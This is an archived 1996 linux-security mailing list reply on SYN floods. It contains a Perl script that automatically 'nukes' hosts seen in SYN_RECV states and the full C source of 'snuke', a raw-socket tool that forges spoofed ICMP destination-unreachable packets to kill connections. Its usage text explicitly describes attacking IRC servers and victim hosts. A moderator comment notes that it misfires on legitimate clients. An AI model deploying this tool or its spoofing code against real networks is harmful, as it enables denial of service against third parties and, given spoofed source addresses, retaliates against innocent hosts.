[1081] in linux-security and linux-alert archive

home help back first fref pref prev next nref lref last post

Re: [linux-security] syn floods

daemon@ATHENA.MIT.EDU (Kit Knox)
Mon Aug 26 07:31:39 1996

Date: Sun, 25 Aug 1996 09:04:29 -0700 (PDT)
From: Kit Knox <kit@connectnet.com>
To: thought <route@infonexus.com>
cc: Sam Quigley <poodge@econ.Berkeley.EDU>, linux-security@tarsier.cv.nrao.edu
In-Reply-To: <199608250553.WAA03611@onyx.infonexus.com>

On Sat, 24 Aug 1996, thought wrote:

> [REW: As far as I understand SYN floods, you simply send lots of "SYN"
> packets. This either causes a kernel crash or a denial of service. 

I haven't seen cases of kernel crashes, just the listen() buffer is filled
up until the SYN's time out.

> Userspace is only informed when three packets have been transmitted

Well, actually on most systems including linux, proc will give you info
that there is a connect sitting in the SYN_RECV state.

> back and forth. Thus the kernel would need to be modified to do something
> about it.]

Here is a script that I wrote to help combat syn floods.  It requires the
use of snuke which spoofs ICMP_DEST_UNREACH in order to allow for the
fixing of syn floods on virtual interfaces and the such.

(I apologize, its a perl script, but it works..)

[REW: It doesn't work for the "malicious" syn floods that do "IP++"
between every packet that they send. It also bombs your web clients
that try to open several connections at once. (1 false negative,
1 false positive) It is a start though.]


#!/usr/local/bin/perl

while(1) {
  system("netstat -an | grep SYN_RECV > netstat.out");
  open(f, "netstat.out");
  while(<f>) {
    ($prot, $recvq, $sendq, $local, $foreign, $state) = split((' '),$_);
    ($lip, $lport) = split(/:/,$local);
    ($fip, $fport) = split(/:/,$foreign);
    $syns{$fip} += 1;
  }
  close(f);
  open(f, "netstat.out");
  while(<f>) {
    ($prot, $recvq, $sendq, $local, $foreign, $state) = split((' '),$_);
    ($lip, $lport) = split(/:/,$local);
    ($fip, $fport) = split(/:/,$foreign);
    # We have a sinner - repent, repent!
    if ($syns{$fip} >= 3) {
      # Fun! Nuke their ass!
      $lporth = $lport + 1;
      $lportl = $lport - 1;
      print "Nuking: $fip $fport $lip $lporth $lportl 3\n";
      system("snuke $fip $fport $lip $lporth $lportl 3 > /dev/null");
    }
  }
  close(f);
  open(f, "netstat.out");
  while(<f>) {
    ($prot, $recvq, $sendq, $local, $foreign, $state) = split((' '),$_);
    ($lip, $lport) = split(/:/,$local);
    ($fip, $fport) = split(/:/,$foreign);
    $syns{$fip} = 0;
  }
  close(f);
  sleep(20);
}

(begin snuke.c)

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>


static int thecode;

u_short cksum( u_short *, int ); 
void	  sendkill( char *, int, char *, int );


u_short cksum( u_short *buf, int nwords ) {
        unsigned long sum;

        for ( sum = 0; nwords > 0; nwords -- )
                sum += *buf++;
        sum = ( sum >> 16) + ( sum & 0xffff );
        sum += ( sum >> 16 );
        return ~sum ;
}

void resolve_address(struct sockaddr * addr, char *hostname, u_short port) {
struct  sockaddr_in *address;
struct  hostent     *host;

address = (struct sockaddr_in *)addr;
(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
/* fill in the easy fields */
address->sin_family = AF_INET;
address->sin_port = htons(port);
/* first, check if the address is an ip address */
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1) {
        /*it wasn't.. so we try it as a long host name */
        host = gethostbyname(hostname);
   if (host) {
                /* wow.  It's a host name.. set the fields */
                /* ?? address->sin_family = host->h_addrtype; */
                bcopy( host->h_addr, (char *)&address->sin_addr,
                host->h_length);
                }
        else {
                /* oops.. can't find it.. */
                puts("Couldn't resolve address!!!");
                exit(-1);
                }
        }
/* all done. */
}

#define PACKETSIZE ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) +  \
							sizeof( struct iphdr ) + 8 )
#define ICMPSIZE   ( sizeof( struct icmphdr ) + sizeof( struct iphdr ) + 8 )
#define offsetTCP  ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \
							sizeof( struct iphdr ) ) 
#define offsetIP   ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) )
#define offsetICMP ( sizeof( struct iphdr ) )
#define offsetRIP  ( 0 ) 
	
void	sendkill( char * fromhost, int fromport, char * tohost, int toport ) {
	char	*	packet;	
	static struct sockaddr_in 	local, remote; 
	static int	  sock = 0;

	if ( !sock ) {
		resolve_address( (struct sockaddr *)&local, fromhost, fromport );
		resolve_address( (struct sockaddr *)&remote, tohost, toport );
		sock = socket( AF_INET, SOCK_RAW, 255 );
		if ( sock == -1 ) { 
			perror("Getting raw socket");
			exit(-1);
		}
	}
	/*
	 .  Get memory for the packet 
	*/
	packet = (char *)malloc( PACKETSIZE );
	if ( !packet ) { 	
		perror("Getting space for packet");
		exit(-1);
	}

	/*
	 . Fill in our pretended TCP header 
    . note - since this was allegedly an outgoing packet...  we have to 
	 . flip the source and destination stuff 
	*/
	{ 
	struct tcphdr * fake_tcp;
	fake_tcp = ( struct tcphdr *)( packet + offsetTCP );
	fake_tcp->th_dport = htons(fromport);
	fake_tcp->th_sport = htons(toport);
	fake_tcp->th_seq	 = 0x1984;
	}
	/* 
	 . fill in the fake IP header.
    . the same reversal as above still applies.. the packet was sent to 
	 . our machine ( yeah right )
	*/
	{
	struct iphdr * fake_ip;
	fake_ip = ( struct iphdr *) ( packet + offsetIP ); 
	
	/* these fields are irrelevant -- never checked?? */
	fake_ip->version = 4;
	fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */  
	fake_ip->tos = 0;
	fake_ip->id = htons( getpid() & 255 ); 
	fake_ip->frag_off = 0;
	fake_ip->ttl = 24; /* not so long to live anymore */
	fake_ip->check = 3805;  /* this CAN'T be checked..so do something != 0 */
	
	/* these fields are used ..  */
	fake_ip->ihl = 5; 
	bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) );
	bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) );
	fake_ip->protocol = 6;  /* a TCP packet */
	}

	/*
	 . fill in the ICMP header 
	 . this is actally rather trivial, though don't forget the checksum 
	*/
	{
	struct icmphdr * icmp;
	icmp = ( struct icmphdr *)(packet + offsetICMP );
	
	icmp->type = 3;
	icmp->code = thecode; /* this will generate an error message */ 
	icmp->un.gateway = 0;
	icmp->checksum = 0; 
	icmp->checksum = cksum( (u_short *)(icmp),  ICMPSIZE >> 1 );
	}
	/*
	 . finally, fill in the IP header 
  	 . this is almost the same as above.. though this time, it is the
    . ip header that really takes the packet places. make sure the 
	 . checksum and addresses are right 
	*/
	{
	struct iphdr * real_ip;
	real_ip = ( struct iphdr *)packet;
	
	real_ip->version = 4; 
	real_ip->ihl = 5;
	real_ip->tot_len = htons(PACKETSIZE);
	real_ip->tos = ( 7 << 5) | 4;
	real_ip->ttl = 255;
	real_ip->protocol = 1; 
	real_ip->check = 0;
	real_ip->id = htons( 3 );
	real_ip->frag_off = 0;
   bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) );
   bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) );
/*	real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L  ); */
	real_ip->check = cksum( (u_short  *)packet, sizeof( struct iphdr ) >> 1 );
	}
	/*
    . 
	 . and now... finally...  send it out into the net 
	*/
	{
	int result;

	result = sendto( sock, packet, PACKETSIZE, 0, 
			(struct sockaddr *)&remote, sizeof( remote ) );
	if ( result != PACKETSIZE ) { 	
			perror("sending packet" ); 
	}

	}
}

main( int argc, char ** argv ) { 
	int i,codes ;
	
	if ( argc != 7 ) { 
        puts("usage: <source host><source port> <target host><target low><target high> <icmp type>\n\n#1: ATTACKING IRC SERVER\n    source host = victim hostname\n    source port = stats L\n    target host = irc server\n    target ports = IRC server port\
n    Type = 3 or 2\n\n#2: ATTACKING VICTIM HOST\n    source host = irc server\n    source port = IRC server port\n    target host = victim hostname\n    target ports = stats L" );

		exit(-1);
	}

	thecode = atoi(argv[6]);
	printf("using code %d \n", thecode );
	if ( atoi(argv[5]) > atoi(argv[4]) ) { 
		for ( i = atoi(argv[5]) ; i > atoi(argv[4]) ; i-- ) { 
			printf("%d \n", i );
			sendkill( argv[1], atoi(argv[2]), argv[3], i );  
			usleep(30000 );
		}
	} 
	else if ( atoi(argv[4]) > atoi(argv[5]) ) {  
		for ( i = atoi(argv[5]) ; i < atoi(argv[4] ); i++ ) {
			printf("%d \n", i );
			sendkill( argv[1], atoi(argv[2]), argv[3], i );
			usleep(30000 );
		}
	}
	else 	
			sendkill( argv[1], atoi(argv[2]), argv[3], i ); 
}				


=========================================================================
Kit Knox - <kit@connectnet.com> - System Administrator
CONNETnet INS, Inc. - 6370 Lusk Blvd Ste F#208 - San Diego, CA 92121
(619) 638-2020 - (619) 638-2024 Voicemail/Pager - (619) 450-3216 FAX
=========================================================================

home help back first fref pref prev next nref lref last post